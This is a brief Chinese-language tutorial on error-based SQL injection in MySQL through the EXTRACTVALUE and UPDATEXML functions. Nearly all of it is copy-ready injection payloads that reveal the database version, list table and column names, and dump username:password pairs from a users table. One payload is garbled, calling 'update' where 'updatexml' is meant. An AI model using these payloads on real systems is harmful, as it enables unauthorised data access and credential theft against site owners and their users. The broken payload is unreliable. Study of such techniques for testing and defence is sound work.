0x1介紹
MySQL 5.1.5版本中添加了對XML文檔進行查詢和修改的函數
EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);
兩個函數的返回長度有限,均為32個字符長度
0x2注入
Payload:
or extractvalue(1, concat(0x7e, version())) or ''
or update(1, concat(0x7e, version()), 1) or ''
0x3提取數據:
爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''
爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''
爆數據:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1))) or ''
updatexml的注入方式也是一樣的